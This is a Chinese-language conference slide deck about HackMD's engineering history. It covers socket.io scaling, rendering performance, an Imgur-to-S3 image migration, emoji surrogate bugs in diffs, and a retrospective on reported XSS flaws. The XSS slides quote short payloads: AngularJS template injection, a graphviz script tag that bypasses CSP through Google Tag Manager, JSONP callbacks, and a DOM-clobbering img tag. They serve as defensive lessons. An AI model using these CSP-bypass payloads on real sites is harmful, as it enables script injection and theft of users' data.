<style>
.reveal, .reveal h1, .reveal h2, .reveal h3, .reveal h4, .reveal h5, .reveal h6 { font-family: -apple-system, BlinkMacSystemFont, Roboto, "Helvetica Neue", Helvetica, Arial, PingFangTC-Light, "Microsoft JhengHei", "微軟正黑", sans-serif, "Apple Color Emoji"; text-transform: none; }
.reveal p code {
padding: 2px 4px;
font-size: 90%;
color: #c7254e;
border-radius: 4px;
}
</style>
## <i class="fa fa-file-text"></i> HackMD 的前世與今生,以及未來
#### Build a community with open collaboration
`Max Wu @ WebConf Taiwan 2023`
---
<img src="https://i.imgur.com/PTbB46S.jpg" style="width:300px;height:300px;border-radius:50%"/>
## Max Wu
### 是個喜歡技術的人,也喜歡玩遊戲!
---
## <i class="fa fa-file-text"></i> HackMD
#### Build a community with open collaboration
開放協作!建立社群!
<!-- .element: class="fragment" data-fragment-index="1" -->
----
## 出沒於各式 Conf
==PyCon TW== ==COSCUP== ==MOPCON== ==SITCON== ==HITCON== ==LaravelConf== ==Modern Web== ==DevOpsDay Taipei== ==Agile Summit==
<!-- .element: class="fragment" data-fragment-index="1" -->
## ++WebConf++
<!-- .element: class="fragment" data-fragment-index="2" -->
----
## 上面有哪些社群?
==Ethereum== ==g0v== ==Rust Lang== ==nf-core== ==ETHTaipei== ==GovComms== ==Wikidata Taiwan== ==OpenStreetMap== ==HackingThursday== ==matplotlib== ==Fedora== ==OpenStack== ==Kubernetes== ==Node.js== ==OCaml== ==OpenStack== ==Nordic RSE== ==Astro==
<!-- .element: class="fragment" data-fragment-index="1" -->
### 歡迎大家來蓋社群!
<!-- .element: class="fragment" data-fragment-index="2" -->
----
## 一句話說明 HackMD 用來做什麼?
用純文字與他人協作知識的平台
<!-- .element: class="fragment" data-fragment-index="1" -->
黑客松、社群小聚、遠端會議、實驗研究、開發文件等...
<!-- .element: class="fragment" data-fragment-index="2" -->
---
## 網頁上的即時通訊
HackMD 如何讓協作能很即時的收到更新?
<!-- .element: class="fragment" -->
----
## 方案
1. polling
1. long-polling
1. Server-Sent Events
1. WebSocket<!-- .element: class="fragment highlight-blue"-->
1. WebRTC
Note:
polling:前端定時向伺服器發出請求
long-polling:前端發出一個長等待伺服器回應的請求
Server-Sent Events:由伺服器對瀏覽器發送資料
WebSocket:建立即時雙向溝通,基於 TCP
WebRTC:建立即時影像與音訊溝通,大多基於 UDP
----
## WebSocket
最開始的時候就採用 `socket.io`
<!-- .element: class="fragment" -->
- 常用的廣播方法、狀態事件與 namespace 都有提供
- 連線先 long-polling,瀏覽器與伺服器都支援 WS 才升級協定
- 傳遞事件時會預設編碼來節省流量,也可以自訂算法
<!-- .element: class="fragment" -->

<!-- .element: class="fragment" -->
Note:
socket.io 的編碼,有考慮瀏覽器支援度:
https://socket.io/docs/v4/custom-parser/
如果要傳遞 binary 的資料,可以考慮用 msgpack
transport 可以改成只用 websocket 連線,避免需要設定複雜的 sticky session
https://socket.io/docs/v4/using-multiple-nodes/
要注意 socket.io 的功能版本差異,但是官網文件寫得相當完整,建議閱讀
https://socket.io/docs/v4/how-it-works/#socketio
----
## 我們都稱作 MMORPG
筆記 = 房間
筆記內文 = 地圖
使用者 = 玩家
游標位置 = 玩家座標
<!-- .element: class="fragment" -->
Note:
立即下載,送火槍兵!
----
## 如何讓協作體驗更好?
<span>同時有多人要加入房間 :arrow_right: </span> <span>需要排隊</span><!-- .element: class="fragment" -->
<span>一台伺服器能乘載的人數有限 :arrow_right: </span> <span>分多台協作伺服器</span><!-- .element: class="fragment" -->
<span>內文或是資料太大包 :arrow_right: </span> <span>只回傳差異範圍</span><!-- .element: class="fragment" -->
----
## 如何知道使用者是否在線上?
heartbeat :heartpulse:
<!-- .element: class="fragment" -->
每隔幾秒跟伺服器問候一下 (ping/pong)
這樣才能確認正在線上的所有 clients 名單
<!-- .element: class="fragment" -->
如果 heartbeat 沒有回應,會視同斷線
因此如果前端太忙無法回應,就會斷線了喔!
<!-- .element: class="fragment" -->
----
## 架設多台協作節點
當有越多 clients,會消耗越多的記憶體 (線性成長)
因此有大量的使用者時,會需要多台的節點
可以用 Cluster 模式,這樣也能利用到多核心 CPU 的優勢
<!-- .element: class="fragment" -->

<!-- .element: class="fragment" -->
Note:
Node.js 預設是 single thread
如何架設多台請見:
https://socket.io/docs/v4/using-multiple-nodes/
----
## Sticky Session
每台節點的 context 不同 (例如暫存的筆記內容不同)
當 client 傳遞事件時,需要保持跟其中一台對談
如果每次都送到不同節點,那節點之間就要付出事件傳遞的成本
<!-- .element: class="fragment" -->

<!-- .element: class="fragment" -->
Note:
除非你可以讓節點的 context 是無狀態 (通常蠻困難的)
如何啟用 Sticky Session 請見:
https://socket.io/docs/v4/using-multiple-nodes/
----
## 跨節點傳遞事件
有些狀況需要從讓協作節點間互相傳遞事件
或是讓外部傳遞事件進入
例如:
打 web API,需要讓協作節點同步資料,也向 client 發出事件
<!-- .element: class="fragment" -->
這時候可以用 `socket.io` Adapter,有多種實作方式:
==redis==, ==mongodb==, ==postgresql==
<!-- .element: class="fragment" -->
Note:
`socket.io` adapter
https://socket.io/docs/v4/adapter/
----
## 如何調整效能?
後端的 websocket 有多種實作,可以替換成
==eiows==, ==uws==, ==uWebSockets.js==, ==ws==
<!-- .element: class="fragment" -->

也可以在使用者離線事件中,手動觸發 `gc()` 清出記憶體
<!-- .element: class="fragment" -->
Note:
效能調整請見:
https://socket.io/docs/v4/performance-tuning/
https://socket.io/docs/v4/memory-usage/
----
## 怎麼變成 `socket.io` 推坑大會 :sweat_smile:
---
## 即時連線效能調好了,那前端呢?
這個水很深 :water_polo:
<!-- .element: class="fragment" data-fragment-index="1" -->
----
## 欸?我的 websocket 怎麼斷線了!
剛說過,因為有 heartbeat,如果:
<!-- .element: class="fragment" -->
- websocket 事件太密集,CPU 很忙
- 未知原因 main thread 太忙
- 使用者看其他分頁,分頁被暫停執行
- 使用者網路環境不好
<!-- .element: class="fragment" -->
以上都會導致 websocket 暫時斷線
自動重新連線的機制,`socket.io` 有實作
<!-- .element: class="fragment" -->
----
## 那怎麼辦?
需要減少同時傳入的事件
可以將多個事件累計後變成一個事件發出
<!-- .element: class="fragment" -->
需要認知到 websocket 並不能保證使用者隨時都在線上
因此要做好斷線與重連的恢復機制
<!-- .element: class="fragment" -->
Note:
詳細請讀:Page Lifecycle API
https://developer.chrome.com/blog/page-lifecycle-api/#developer-recommendations-for-each-state
----
## 長文件效能:分區段顯示
筆記內文 = 地圖 :world_map:
<!-- .element: class="fragment" -->
如果內文很長需要捲動,顯示的效能會嚴重影響閱讀體驗
<!-- .element: class="fragment" -->
如果偵測哪些元素是在可見範圍,只針對那塊顯示與渲染?
<!-- .element: class="fragment" -->
但檢查哪些元素是可見的,就會需要評估元素的大小與位置
`Element.getBoundingClientRect()`
<!-- .element: class="fragment" -->
這會觸發瀏覽器 layout :arrow_right: 效能不好
<!-- .element: class="fragment" -->
==有方法可以讓元素自己告訴我它現在是否可以被看到嗎?==
<!-- .element: class="fragment" -->
Note:
建議閱讀
https://developer.chrome.com/blog/inside-browser-part3
----
## Intersection Observer API
```
let options = {
root: document.querySelector("#scrollArea"),
rootMargin: "0px",
threshold: 1.0,
};
let observer = new IntersectionObserver(callback, options);
```
<!-- .element: class="fragment" -->
建立一個 IntersectionObserver 給予可捲動的元素 root
當捲動元素,使內部的元素進入或是離開可見範圍時
會呼叫 callback 事件,參數會提供元素的資訊與交集比例
<!-- .element: class="fragment" -->
`boundingClientRect, intersectionRatio, intersectionRect, isIntersecting, rootBounds, target, time`
<!-- .element: class="fragment" -->
Note:
Intersection Observer API
https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API
----
這樣一來,我們可以完全不用去記錄與計算每個元素的位置
處於觀察者的角色,等待元素交集時的事件發生
<!-- .element: class="fragment" -->
當 `isIntersecting` 為 `true` 時,就標示這個元素可見
或是設定將不可見的元素給予 `visibility: hidden;`
<!-- .element: class="fragment" -->
渲染時可以只針對可見元素處理做後處理
(例如:顯示數學公式)
<!-- .element: class="fragment" -->
==效能好到不行 :tada:==
<!-- .element: class="fragment" -->
但別忘記 XSS!顯示前要先過濾 (會影響效能)
<!-- .element: class="fragment" -->
Note:
延伸閱讀 MutationObserver
https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver
如果有 DOM 要做部分更新,可以考慮用
https://github.com/patrick-steele-idem/morphdom
---
## 那些年遇過的 XSS

<!-- .element: class="fragment" data-fragment-index="1" -->
就像抓漏,怎樣都有洞... :hole:
<!-- .element: class="fragment" data-fragment-index="1" -->
----
## 什麼是 XSS?
簡單來說,在使用者可以輸入的地方
寫入 `<script>` 或是各種奇形怪招
讓網頁執行的時候,組成非預期的程式碼
把使用者的資料傳出去,或是做不該做的事
(例如把 Cookies 偷走、偷偷跑挖礦程式)
Note:
https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting
----
## XSS 環境清潔方式
幫 HTML 消毒 Sanitizer :face_with_monocle:
<!-- .element: class="fragment" -->
Before:
`abc <script>alert(1)</script> def`
<!-- .element: class="fragment" -->
After:
`abc def`
<!-- .element: class="fragment" -->
你以為這樣就乾淨了嗎? :no_good:
<!-- .element: class="fragment" -->
Note:
Chrome 有新實作 HTML Sanitizer API
https://developer.mozilla.org/en-US/docs/Web/API/HTML_Sanitizer_API
我們採用了這套:
https://github.com/leizongmin/js-xss
----
## orange 的 XSS
直接對過濾 XSS 的 function `preventXSS` 下手
<!-- .element: class="fragment" -->
利用 CSP 允許的 `https://cdnjs.cloudflare.com/` 載入 AngularJS
<!-- .element: class="fragment" -->
再用 template injection 執行不安全的程式碼
`{{constructor.constructor('alert(1)')()}}`
<!-- .element: class="fragment" -->
==結論:HTML 註解語法也要處理!==
<!-- .element: class="fragment" -->
Note:
CSP
https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
完整 writeup 與 payload 請見
https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html
----
## k1tten 的 XSS
1. 利用 graphviz 圖表語法的語法錯誤提示區塊
<!-- .element: class="fragment" -->
`$value.parent().append('<div class="alert alert-warning">' + err + '</div>')`
<!-- .element: class="fragment" -->
`err` 會直接顯示在網頁上,沒做過濾但是有字數限制
<!-- .element: class="fragment" -->
2. 利用 Google Tag Manager 繞過 CSP 載入不安全的程式碼
<!-- .element: class="fragment" -->
```
```graphviz
graph<<script src="https://www.google-analytics.com/gtm/js?id=GTM-P49RD4V">
```
<!-- .element: class="fragment" -->
==結論:錯誤訊息也要過濾 XSS!==
<!-- .element: class="fragment" -->
Note:
完整 writeup
https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md
----
## maple3142 的 XSS
HackMD 新增了顯示 figma 的功能,然後就出漏洞了...
<!-- .element: class="fragment" -->
顯示時會找尋網頁 `data-figma-src` 的值來組合成 figma 網址
而這段沒過濾!
<!-- .element: class="fragment" -->
這次被繞過 CSP 用的是 `www.google.com` 的 JSONP callback
`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`
<!-- .element: class="fragment" -->
~~怎麼被回報漏洞的速度比出功能的速度還快?!~~
<!-- .element: class="fragment" -->
==結論:code review 時也要檢查 XSS!==
<!-- .element: class="fragment" -->
Note:
JSONP
https://blog.logrocket.com/jsonp-demystified-what-it-is-and-why-it-exists/
完整 writeup
https://blog.maple3142.net/2022/08/03/hackmd-xss
----
## splitline 的 XSS
利用嵌入 vimeo 影片的語法,顯示時會呼叫 vimeo 的 JSONP `//vimeo.com/api/v2/video/346762373.json?callback=alert#.json?callback=random`
<!-- .element: class="fragment" -->
幸好 vimeo 會過濾 callback 的參數
callback 時會把不安全的指令過濾...
<!-- .element: class="fragment" -->
==以為就這樣嗎?但漏洞總是挖呀挖挖呀挖==
<!-- .element: class="fragment" -->
----
## splitline 的 XSS cont.
發現 `https://vimeo.com/blog` 是用 WordPress 架設的
整個網站找啊找找到一程式碼,可以非同步載入 script
<!-- .element: class="fragment" -->
`s.src = _zxcvbnSettings.src;`
<!-- .element: class="fragment" -->
這時候,使出 DOM clobbering,控制 src 的值放入 payload:
<!-- .element: class="fragment" -->
`<img src="https://host/xss.js" id="_zxcvbnSettings">`
<!-- .element: class="fragment" -->
==結論:嚴格過濾影片網址 videoid==
<!-- .element: class="fragment" -->
Note:
完整 writeup & payload
https://blog.splitline.tw/hackmd-xss
----
CSP 又被繞過了...外站的程式被利用成本站的漏洞...
<!-- .element: class="fragment" -->
就算有 CSP, X-XSS-Protection, Sanitizer 等
也不代表就沒有 XSS 漏洞,總是有繞過的招數
<!-- .element: class="fragment" -->
做新功能時要檢查是否有正確的過濾字串再顯示
HackMD 需要非常注意過濾處理的效能
<!-- .element: class="fragment" -->
人生真難 :sob:
<!-- .element: class="fragment" -->
Note:
X-XSS-Protection
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection
---
## Imgur 圖片大搬家
免費的最貴... :moneybag:
<!-- .element: class="fragment" data-fragment-index="1" -->
----
有一天,收到了這樣的通知
<!-- .element: class="fragment" -->

<!-- .element: class="fragment" -->
Note:
https://help.imgur.com/hc/en-us/articles/14415587638029/
----
HackMD 從很早的時候就有整合 Imgur
方便使用者在寫筆記時能直接上傳圖片
<!-- .element: class="fragment" -->

這下...麻煩了...
<!-- .element: class="fragment" -->
----
要寫程式處理所有筆記嗎?
有多少篇筆記裡面有多少個 imgur 圖片網址呢?
## 127 萬篇筆記中有 900 萬張圖片!
<!-- .element: class="fragment" -->
----
## 這...也太多圖片要處理了!
1. 要先從筆記拿出裡面的 imgur 網址
2. 建立筆記與網址的關聯
3. 把圖片備份後上傳到 S3
4. 將上傳後的網址紀錄回 DB
<!-- .element: class="fragment" -->
==要如何快還要更快呢?==
<!-- .element: class="fragment" -->
----
## SQL comes to Rescue!
直接用 SQL 跑 regex 將筆記中的網址插入 table
<!-- .element: class="fragment" -->

<!-- .element: class="fragment" -->
`regexp_matches(content, E'(https://i\\.imgur\\.com/([^\\s)\\n"\\/\\]\\?][a-zA-Z0-9]+\\.[a-zA-Z0-9]+))', 'g') AS urls`
<!-- .element: class="fragment" -->
----
## 轉移圖片到 S3
有這麼多圖片網址,要怎麼樣在一週內全部轉移?
==AWS Lambda 平行跑起來!==
<!-- .element: class="fragment" -->
最多時有 15 個工作平行在跑,每秒可以轉移 50~100 張圖片

<!-- .element: class="fragment" -->
----
最後統計一共轉移了 1.9TB 的資料 :tada:

未來所有使用者上傳圖片都使用 HackMD 的專屬圖床
避免這種事情再次發生,一勞永逸!
<!-- .element: class="fragment" -->
Note:
雖然外部服務很方便,但是當服務用量成長之後,很容易成為絆腳石
付錢或是自行架設都是解方
---
## 比較字串中遇到的 Emoji 問題
裂開了就沒辦法顯示! :pencil2: :apple:
<!-- .element: class="fragment" data-fragment-index="1" -->
----
各位知道 emoji 可能是用多個 Unicode 表示嗎?
👋➕🏻🟰👋🏻
Emoji Modifier Sequences
<!-- .element: class="fragment" -->
Note:
https://css-tricks.com/changing-emoji-skin-tones-programmatically/
----
更神奇的是!

怎麼會有兩個 Emoji 的 UTF-16 編碼相同?
<!-- .element: class="fragment" -->
Note:
試試看:
```
`😃`.charAt()
`😄`.charAt()
```
----
同一個 Emoji 編碼怎麼又不同?

🤯🤯🤯
Note:
試試看:
```
`😄`.codePointAt()
```
----
Unicode 是個 21 位元的標準
JavaScript 採用的是 UTF-16,最多可以表示 65,535 個字元
<!-- .element: class="fragment" -->

有些 Emoji 編碼索引超過 65,535,就會用兩個 Unicode 組成
一個高位字元 (high surrogate) 與一個低位字元 (low surrogate) 組成一對 (surrogate pair) 來表示
<!-- .element: class="fragment" -->
Note:
參考資料:
http://russellcottrell.com/greek/utilities/SurrogatePairCalculator.htm
https://evanhahn.com/utf-21/
https://docs.oracle.com/cd/E19683-01/816-3982/6ma7og00a/index.html
----
相信大家用過 git 可能看過這個:
```diff
@@ -1 +1 @@
-a
+b
```
`GNU diff Unified Format`
HackMD 會自動幫筆記產生版本紀錄
每個版本紀錄會計算出差異範圍
==diff-match-patch==
<!-- .element: class="fragment" -->
----
## diff-match-patch 是什麼?
Diff: 比較字串差異
Match: 找出相近字串
Patch: 套用字串差異
HackMD 採用這套比對文字差異
<!-- .element: class="fragment" -->
Note:
diff-match-patch
https://github.com/google/diff-match-patch
----
如果 diff 兩個 emoji
有可能把 emoji 切成兩個 Unicode 來比較
```
Error: invalid input syntax for type json
DETAIL: Unicode low surrogate must follow a high surrogate
```
<!-- .element: class="fragment" -->
:warning: 然後資料庫就爆炸了 :warning:
<!-- .element: class="fragment" -->
----
## 前方有坑!!!

diff 可能會產出 lone surrogates 導致無法顯示
<!-- .element: class="fragment" -->
Note:
https://github.com/google/diff-match-patch/issues/59
坑點 1: `patch_toText`
坑點 2: `diff_main`
官方 demo 可以重現
https://neil.fraser.name/software/diff_match_patch/demos/diff.html
----
## 補坑選項


<!-- .element: class="fragment" -->
~~Google 萬年不 merge PR~~
<!-- .element: class="fragment" -->
Note:
https://github.com/google/diff-match-patch/pull/69
https://github.com/google/diff-match-patch/pull/13
https://github.com/google/diff-match-patch/pull/80
----
## After 補坑

可以正常的 diff 出 emoji 的變更了!!
:fireworks: :tada: :100: :+1: :man_dancing: :watermelon:
<!-- .element: class="fragment" -->
Note:
我們採用了這個 PR
https://github.com/google/diff-match-patch/pull/80
似乎 Simplenote 也用這個修正,沒出過什麼問題
---
# <i class="fa fa-file-text"></i> HackMD 2.0
----
## 知識的三個層次
自己 :smile:
<!-- .element: class="fragment" -->
<span>自己與未來的他人 :arrow_right: </span><!-- .element: class="fragment" -->有限的團體<!-- .element: class="fragment" -->
<span>與不特定對象連結<!-- .element: class="fragment highlight-red" --> :arrow_right: </span><!-- .element: class="fragment" --> 公眾<!-- .element: class="fragment" -->
Note:
各位做筆記時,是為了自己還是誰呢?
----
## 全新設計的編輯器

<!-- .element: class="fragment" -->
==Light/Dark mode==
<!-- .element: class="fragment" -->
==支援 Grammarly、手機版體驗提升==
<!-- .element: class="fragment" -->
==編輯與顯示效能大提升==
<!-- .element: class="fragment" -->
----
## 用協作打造新型態知識網路
社群、留言討論、探索知識
<!-- .element: class="fragment" -->
# 串連世界上的節點!
<!-- .element: class="fragment" -->
----
## 現在立即體驗

https://hackmd.io
設定 :arrow_right: Preview features
---
## Thanks for listening!

https://hackmd.io/@MaxWu/hackmd-webconf-2023
本簡報使用 HackMD 製作與發佈
{"title":"HackMD @ WebConf Taiwan 2023","description":"HackMD 作為大家寫筆記與分享的好夥伴已經踏入 7 年了!這次有機會與各位分享 HackMD 曾經踩過的坑、用到的技術細節。主題包含:網頁上的即時通訊、Imgur 大搬家、比較字串中遇到的 Emoji 問題、Imgur 圖片大搬家、這些年來遇到的 XSS、以及 HackMD 2.0 的展望!","slideOptions":"{\"width\":1200,\"theme\":\"white\",\"preloadIframes\":true,\"viewDistance\":5,\"help\":true,\"showNotes\":true}"}